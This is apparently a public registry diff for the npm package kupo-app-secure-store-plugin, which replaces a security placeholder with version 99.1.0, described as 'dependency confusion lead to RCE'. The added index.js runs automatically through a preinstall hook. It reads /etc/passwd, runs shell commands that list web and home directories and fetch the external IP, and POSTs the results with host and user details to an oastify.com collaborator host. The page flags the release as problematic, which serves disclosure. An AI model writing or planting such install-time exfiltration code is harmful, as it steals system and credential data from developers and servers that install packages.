kupo-app-secure-store-plugin 0.0.1-security → 99.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of kupo-app-secure-store-plugin might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +73 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,73 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const { execSync } = require("child_process");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ // Read the /etc/passwd file
11
+ let passwdData = "";
12
+ try {
13
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
14
+ } catch (err) {
15
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
16
+ }
17
+
18
+ // Execute the desired shell commands
19
+ let pwd = execSync("pwd").toString().trim();
20
+ let whoami = execSync("whoami").toString().trim();
21
+ let echoPlugin = execSync("echo '@kupo-app-secure-store-plugin'").toString().trim();
22
+ let externalIP = execSync("curl ifconfig.me").toString().trim();
23
+ let listVarHtml = execSync("ls -R /var/www/html/").toString().trim();
24
+ let hostname = execSync("hostname").toString().trim();
25
+ let homeDirList = execSync("cd; ls -la").toString().trim();
26
+
27
+ const trackingData = JSON.stringify({
28
+ p: package,
29
+ c: __dirname,
30
+ hd: os.homedir(),
31
+ hn: os.hostname(),
32
+ un: os.userInfo().username,
33
+ dns: dns.getServers(),
34
+ r: packageJSON ? packageJSON.___resolved : undefined,
35
+ v: packageJSON.version,
36
+ pjson: packageJSON,
37
+ passwd: passwdData, // Add the /etc/passwd content here
38
+ pwd: pwd, // Current working directory
39
+ whoami: whoami, // Current user
40
+ plugin: echoPlugin, // Echo statement
41
+ ip: externalIP, // External IP
42
+ varHtmlFiles: listVarHtml, // List of /var/www/html
43
+ host: hostname, // Hostname
44
+ homeFiles: homeDirList // Home directory listing
45
+ });
46
+
47
+ var postData = querystring.stringify({
48
+ msg: trackingData,
49
+ });
50
+
51
+ var options = {
52
+ hostname: "wppm7c77mwd5q1j98ljlm2se258wwokd.oastify.com", // Replace with Burp collaborator link
53
+ port: 443,
54
+ path: "/",
55
+ method: "POST",
56
+ headers: {
57
+ "Content-Type": "application/x-www-form-urlencoded",
58
+ "Content-Length": postData.length,
59
+ },
60
+ };
61
+
62
+ var req = https.request(options, (res) => {
63
+ res.on("data", (d) => {
64
+ process.stdout.write(d);
65
+ });
66
+ });
67
+
68
+ req.on("error", (e) => {
69
+ // console.error(e);
70
+ });
71
+
72
+ req.write(postData);
73
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "kupo-app-secure-store-plugin",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.1.0",
4
+ "description": "dependency confusion lead to RCE",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "ismailu",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=kupo-app-secure-store-plugin for more information.